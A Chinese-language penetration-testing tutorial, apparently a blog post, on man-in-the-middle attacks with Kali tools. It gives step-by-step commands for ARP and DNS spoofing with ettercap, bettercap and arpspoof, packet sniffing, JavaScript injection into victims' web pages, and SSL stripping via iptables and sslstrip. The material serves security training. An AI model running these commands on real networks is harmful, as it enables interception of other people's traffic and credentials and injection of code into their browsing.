【kali渗透测试】中间人攻击

1. 中间人攻击概述

定义:攻击者插入通信的双方之间,截取、修改或者伪造它们的通信内容。

种类:

(1)ARP 欺骗

利用 ARP 协议的缺陷,使得攻击者可以伪造 MAC 地址,欺骗网络中的其他主机。

(2)DNS 欺骗

利用 DNS 的缺陷,使得攻击者可以伪造 IP 地址,欺骗网络中的其他主机。

2. Ettercap 框架

综合性中间人攻击工具。

(1)开启

kali 终端输入如下命令

bash 复制代码
ettercap -G

(2)选项介绍

  • 启动嗅探
  • 设置主接口:对该接口内的主机进行中间人攻击
  • 开启桥接接口嗅探
  • 设置桥接接口

2.1 执行 arp 欺骗

(1)kali 开启内核转发功能

bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

(2)嗅探主机

获取目标网络中的主机列表和网关信息

(3)选择目标主机

(4)开始 ARP 欺骗

(5)捕获数据包

Ettercap 只能开启 arp 欺骗,不能查看捕获的数据包。

  • tcpdump 捕获
bash 复制代码
tcpdump -i eth0 host ARP欺骗目标IP地址
  • driftnet 抓取图片
bash 复制代码
apt-get install driftnet
driftnet -i eth0
driftnet -i eth0 -a -d 文件目录

只能抓取未经过加密的数据包中的图片

  • urlsnarf 捕获URL地址
bash 复制代码
urlsnarf -i eth0

2.2 执行 dns 欺骗

执行 dns 欺骗前,需要先进行 arp 欺骗,成为中间人

(1)编辑 /etc/ettercap/etter.dns 文件,添加要欺骗的 dns 记录

bash 复制代码
......
# vim:ts=8:noexpandtab
* A 192.168.18.22

(2)开启 apache 服务器

bash 复制代码
service apache2 start

使得目标主机访问网页的请求通过 dns 记录解析为本机的网站

(3)使用 dns_spoof 插件

2.3 内容过滤

对数据包进行修改或者丢弃,例如:替换网页内容、注入 JavaScript 代码、修改图片、拦截邮件等。

(1)新建脚本文件

以过滤 80 号端口请求为例,新建 killwifi.filter

bash 复制代码
if (ip.proto == TCP && tcp.src == 80 )  //设置过滤请求
{
    kill();
    drop();  //删除该数据包
msg("kill 80 \n");  //提示消息
}

(2)编译脚本

bash 复制代码
etterfilter killwifi.filter -o killwifi.ef

(3)加载脚本

3. Bettercap 框架

对Wi-Fi网络、蓝牙设备、无线HID以及IPv4/IPv6网络进行侦查和中间人攻击

bash 复制代码
apt-get install bettercap
bettercap # 启动交互模式

3.1 执行 arp 欺骗

假设攻击者主机的IP地址是192.168.18.17,目标主机的IP地址是192.168.18.13,网关的IP地址是192.168.18.1

(1)使用 arp.spoof 模块

bash 复制代码
set arp.spoof.targets 192.168.18.13
set arp.spoof.fullduplex true # 设置双向 arp 欺骗,同时欺骗目标主机和网关
arp.spoof on # 启动 arp 欺骗
net.sniff on # 启动流量嗅探
arp.spoof off

3.2 执行 dns 欺骗

假设攻击者主机的IP地址是192.168.8.138,目标主机的IP地址是192.168.8.142,网关的IP地址是192.168.8.1

(1)启动 arp 欺骗

bash 复制代码
set arp.spoof.targets 192.168.8.142
arp.spoof on

(2)启动 dns 欺骗

bash 复制代码
set dns.spoof.domains dns欺骗的域名
set dns.spoof.address 192.168.8.138 # 设置 dns 欺骗的 ip 地址
dns.spoof on
net.sniff on

3.3 注入脚本

使用 Bettercap的http.proxy 模块,可以建立一个 Javascript 文件实现的 http 透明代理。

进行 arp 欺骗后,可以通过这个代理向目标主机浏览的 http 页面注入 Javascript 脚本。

bash 复制代码
setarp.spoof.targets 192.168.8.142
set http.proxy.script/root/xss.js
arp.spoof on
http.proxy on

目标主机访问任何网页,触发 xss.js 脚本。

3.4 CAP 文件

Bettercap 脚本文件

bash 复制代码
bettercap -caplet example.cap
caplets.update
caplets.show

4. arpspoof 发起中间人攻击

进行 arp 欺骗的工具,通过伪造 arp 应答包,使得目标主机或所有主机误认为攻击者的主机是网关。

轻量级、易于使用。

(1)开启 ip 转发功能

bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

(2)开启 arp 欺骗

bash 复制代码
arpspoof -i eth1 -t 目标主机ip地址 网关ip地址

(3)捕获数据包

bash 复制代码
tcpdump -i eth1 tcp port 80 and host 目标主机ip地址

5. SSL 攻击

ssl 是一种安全传输协议,TLS 是 SSL 的后续版本。使用了对称加密、非对称加密、数字签名等技术。

5.1 SSL 漏洞检测

  • testssl 工具
    检测任何端口上的 tls/ssl 加密服务。
bash 复制代码
wget https://testssl.sh/testssl.sh
chmod +x testssl.sh
/testssl.sh 域名或IP地址
/testssl.sh --heartbleed 域名或IP地址 # 检测特定的漏洞
  • SSLScan 工具
    依赖 OpenSSL 库,功能有局限性。
bash 复制代码
sslscan 域名或IP地址

5.2 SSL 中间人攻击

原理:在客户端于服务器之间插入一个代理,伪造服务器的证书给客户端,形成基于HTTPS的代理

(1)开启 ip 转发功能

bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

(2)将 HTTP 流量重定向到 SSLStrip 工具

bash 复制代码
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5353

(3)监听降级客户端与服务器间的 ssl 通信

bash 复制代码
sslstrip -l 5353

(4)执行 arp 欺骗

bash 复制代码
ettercap -i eth1 -TqM arp:remote //192.168.8.1/ //192.168.8.143/

此时,目标主机访问 https 网页时重定向为 http

相关推荐
m0_5474866611 小时前
《信息安全基础》全套PPT课件2026
网络安全·信息安全
m0_7156744313 小时前
数据分类分级的范式转换:从规则匹配到场景化高准确率一键部署
大数据·网络·人工智能·网络安全
白帽攻防录21 小时前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
学逆向的1 天前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop1 天前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全2 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
刘婉晴2 天前
【APP安全测试】Frida 基础
网络安全
科技象限2 天前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
sbjdhjd2 天前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全